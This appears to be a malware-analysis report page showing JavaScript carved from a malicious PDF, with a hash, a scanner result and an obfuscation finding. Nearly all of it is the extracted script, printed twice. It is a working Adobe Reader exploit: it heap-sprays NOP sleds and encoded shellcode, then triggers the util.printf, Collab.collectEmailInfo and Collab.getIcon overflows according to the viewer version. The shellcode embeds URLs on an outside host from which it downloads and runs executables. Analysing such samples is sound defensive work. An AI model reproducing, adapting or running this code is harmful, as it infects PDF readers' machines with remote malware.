var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u6B2F%u6C69%u676F%u6469%u2E32%u6962%u2F7A%u6F70%u2F6C%u6A67%u3371%u652E%u6578%u0000");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u6B2F%u6C69%u676F%u6469%u2E32%u6962%u2F7A%u6F70%u2F6C%u6861%u716E%u7572%u7877%u3379%u652E%u6578%u0000");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x36B 5330 bytes
SHA-256: 839027ca10cab697fbbd77d1ea82c5f4d1fb92d760a6f2363270ef32f8c5a9a1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u6B2F%u6C69%u676F%u6469%u2E32%u6962%u2F7A%u6F70%u2F6C%u6564%u7068%u7471%u7775%u337A%u652E%u6578%u0000");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u6B2F%u6C69%u676F%u6469%u2E32%u6962%u2F7A%u6F70%u2F6C%u6A67%u3371%u652E%u6578%u0000");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u6B2F%u6C69%u676F%u6469%u2E32%u6962%u2F7A%u6F70%u2F6C%u6861%u716E%u7572%u7877%u3379%u652E%u6578%u0000");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.